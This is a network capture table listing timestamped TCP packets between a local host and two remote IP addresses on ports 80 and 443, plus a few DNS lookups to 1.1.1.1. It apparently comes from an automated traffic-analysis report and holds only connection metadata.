Dec 19, 2024 15:29:58.010133982 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:58.010354996 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:58.010368109 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:58.053689003 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:29:59.377213001 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:59.379338980 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:59.379369974 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:29:59.379435062 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:29:59.379447937 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:00.032085896 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:00.032321930 CET	443	49806	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:00.032396078 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:00.032768011 CET	49806	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:00.035564899 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:00.036631107 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:00.155639887 CET	80	49802	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:00.155714035 CET	49802	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:00.156308889 CET	80	49811	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:00.156387091 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:00.156553030 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:00.276015997 CET	80	49811	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:06.891166925 CET	80	49811	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:06.896367073 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:06.896414995 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:06.896529913 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:06.896843910 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:06.896857977 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:06.944386959 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:08.273334980 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:08.311199903 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:08.311223984 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:08.311295986 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:08.311309099 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:08.989456892 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:08.989543915 CET	443	49827	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:08.989599943 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:08.992734909 CET	49827	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:09.010977983 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:09.011718035 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:09.130956888 CET	80	49811	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:09.131035089 CET	49811	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:09.131282091 CET	80	49833	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:09.131510019 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:09.131577969 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:09.251094103 CET	80	49833	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:19.378699064 CET	80	49833	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:19.382277012 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:19.382327080 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:19.382404089 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:19.382777929 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:19.382797956 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:19.428885937 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:20.747720003 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:20.756915092 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:20.756942034 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:20.757025957 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:20.757031918 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:21.477467060 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:21.477546930 CET	443	49859	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:21.477884054 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:21.478233099 CET	49859	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:21.481369972 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:21.482552052 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:21.602557898 CET	80	49833	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:21.602797985 CET	49833	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:21.603389978 CET	80	49864	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:21.603477955 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:21.603665113 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:21.724695921 CET	80	49864	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:23.809283972 CET	80	49864	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:23.810745955 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:23.810843945 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:23.810933113 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:23.811290979 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:23.811336040 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:23.850812912 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:25.288039923 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:25.290431976 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:25.290472984 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:25.290555000 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:25.290563107 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:25.990530968 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:25.990659952 CET	443	49871	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:25.990716934 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:25.991950035 CET	49871	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:26.069467068 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:26.085270882 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:26.189518929 CET	80	49864	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:26.189610958 CET	49864	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:26.204895020 CET	80	49877	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:26.204981089 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:26.205121994 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:26.324682951 CET	80	49877	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:28.553240061 CET	80	49877	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:28.554733992 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:28.554773092 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:28.554846048 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:28.555171967 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:28.555183887 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:28.600929022 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:29.940500975 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:29.943120956 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:29.943140030 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:29.943218946 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:29.943226099 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:30.719856977 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:30.720060110 CET	443	49883	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:30.720228910 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:30.720916033 CET	49883	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:30.723964930 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:30.725259066 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:30.844985962 CET	80	49877	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:30.845069885 CET	49877	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:30.845813036 CET	80	49889	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:30.845905066 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:30.846122026 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:30.965703964 CET	80	49889	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:32.161087990 CET	80	49889	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:32.164324045 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:32.164388895 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:32.164454937 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:32.165154934 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:32.165172100 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:32.210257053 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:33.572365046 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:33.574161053 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:33.574187040 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:33.574289083 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:33.574295044 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:34.215250969 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:34.215353966 CET	443	49893	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:34.215418100 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:34.215739965 CET	49893	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:34.247724056 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:34.251152039 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:34.367753983 CET	80	49889	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:34.367851973 CET	49889	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:34.370874882 CET	80	49899	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:34.371054888 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:34.371108055 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:34.490592957 CET	80	49899	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:35.676954031 CET	80	49899	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:35.678487062 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:35.678513050 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:35.678584099 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:35.678819895 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:35.678834915 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:35.725903034 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.042073011 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:37.043701887 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:37.043714046 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:37.043813944 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:37.043818951 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:37.686759949 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:37.686839104 CET	443	49904	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:37.686894894 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:37.687309027 CET	49904	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:37.690104961 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.691200972 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.810028076 CET	80	49899	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:37.810127020 CET	49899	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.810930014 CET	80	49908	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:37.811012030 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.811099052 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:37.932337046 CET	80	49908	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:40.115158081 CET	80	49908	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:40.163434982 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:40.337979078 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:40.338046074 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:40.338135004 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:40.338432074 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:40.338460922 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:41.711440086 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:41.713712931 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:41.713746071 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:41.713807106 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:41.713815928 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:42.399276018 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:42.399373055 CET	443	49917	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:42.399435997 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:42.399776936 CET	49917	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:42.402996063 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:42.403621912 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:42.522934914 CET	80	49908	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:42.523000002 CET	49908	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:42.523129940 CET	80	49923	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:42.523219109 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:42.523655891 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:42.643117905 CET	80	49923	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:43.826448917 CET	80	49923	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:43.828835964 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:43.828861952 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:43.828952074 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:43.829175949 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:43.829189062 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:43.882224083 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:45.196583033 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:45.198499918 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:45.198514938 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:45.198600054 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:45.198610067 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:45.840930939 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:45.841039896 CET	443	49925	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:45.841094017 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:45.841927052 CET	49925	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:45.855632067 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:45.857657909 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:45.975850105 CET	80	49923	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:45.975955009 CET	49923	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:45.977206945 CET	80	49931	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:45.977289915 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:45.977520943 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:46.097132921 CET	80	49931	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:48.282063961 CET	80	49931	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:48.283658981 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:48.283729076 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:48.283823967 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:48.284146070 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:48.284173965 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:48.335469007 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:48.794163942 CET	80	49761	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:48.794279099 CET	49761	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:49.652604103 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:49.654329062 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:49.654409885 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:49.654505014 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:49.654520035 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:50.316178083 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:50.316272020 CET	443	49937	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:50.316344023 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:50.316999912 CET	49937	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:50.321760893 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:50.323159933 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:50.443751097 CET	80	49931	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:50.443824053 CET	49931	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:50.445051908 CET	80	49942	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:50.445144892 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:50.445310116 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:50.569422960 CET	80	49942	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:51.756139040 CET	80	49942	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:51.758093119 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:51.758119106 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:51.758219957 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:51.758519888 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:51.758531094 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:51.804204941 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:53.128321886 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:53.130317926 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:53.130340099 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:53.130436897 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:53.130443096 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:53.779226065 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:53.779316902 CET	443	49947	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:53.779627085 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:53.779908895 CET	49947	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:53.783374071 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:53.784164906 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:53.903666973 CET	80	49942	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:53.903712988 CET	80	49952	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:53.903769970 CET	49942	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:53.903803110 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:53.903964043 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:54.023660898 CET	80	49952	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:55.210642099 CET	80	49952	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:55.236578941 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:55.236685991 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:55.236766100 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:55.237215996 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:55.237251043 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:55.257339954 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:56.601099014 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:56.603755951 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:56.603801012 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:56.603945971 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:56.603952885 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:57.250334978 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:57.251780033 CET	443	49955	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:57.251878023 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:57.252789021 CET	49955	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:57.259572029 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:57.261198997 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:57.379476070 CET	80	49952	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:57.379539013 CET	49952	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:57.380826950 CET	80	49961	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:57.380903006 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:57.381041050 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:30:57.500644922 CET	80	49961	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:59.684894085 CET	80	49961	132.226.247.73	192.168.2.5
Dec 19, 2024 15:30:59.686619043 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:59.686674118 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:59.686822891 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:59.687220097 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:30:59.687232018 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:30:59.726094007 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:01.052758932 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:01.080029964 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:01.080056906 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:01.080122948 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:01.080127954 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:01.789340973 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:01.789412975 CET	443	49967	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:01.789464951 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:01.792789936 CET	49967	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:01.804651976 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:01.806581974 CET	49973	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:01.924550056 CET	80	49961	132.226.247.73	192.168.2.5
Dec 19, 2024 15:31:01.924611092 CET	49961	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:01.927634001 CET	80	49973	132.226.247.73	192.168.2.5
Dec 19, 2024 15:31:01.927705050 CET	49973	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:01.950740099 CET	49973	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:02.070529938 CET	80	49973	132.226.247.73	192.168.2.5
Dec 19, 2024 15:31:03.239947081 CET	80	49973	132.226.247.73	192.168.2.5
Dec 19, 2024 15:31:03.241168976 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:03.241202116 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:03.241265059 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:03.241527081 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:03.241538048 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:03.288630962 CET	49973	80	192.168.2.5	132.226.247.73
Dec 19, 2024 15:31:04.775685072 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:04.819873095 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:06.405047894 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:06.405069113 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:06.405153036 CET	49979	443	192.168.2.5	149.154.167.220
Dec 19, 2024 15:31:06.405160904 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:07.086625099 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:07.086819887 CET	443	49979	149.154.167.220	192.168.2.5
Dec 19, 2024 15:31:07.087083101 CET	49979	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 15:29:20.939297915 CET	51524	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:29:21.076962948 CET	53	51524	1.1.1.1	192.168.2.5
Dec 19, 2024 15:29:23.930536032 CET	51511	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:29:24.069997072 CET	53	51511	1.1.1.1	192.168.2.5
Dec 19, 2024 15:29:29.782740116 CET	61006	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:29:29.919830084 CET	53	61006	1.1.1.1	192.168.2.5
Dec 19, 2024 15:29:32.160598993 CET	62362	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:29:32.305747986 CET	53	62362	1.1.1.1	192.168.2.5
Dec 19, 2024 15:29:39.969598055 CET	54798	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:29:40.107425928 CET	53	54798	1.1.1.1	192.168.2.5
Dec 19, 2024 15:30:40.116313934 CET	55274	53	192.168.2.5	1.1.1.1
Dec 19, 2024 15:30:40.337245941 CET	53	55274	1.1.1.1	192.168.2.5

DNS Queries

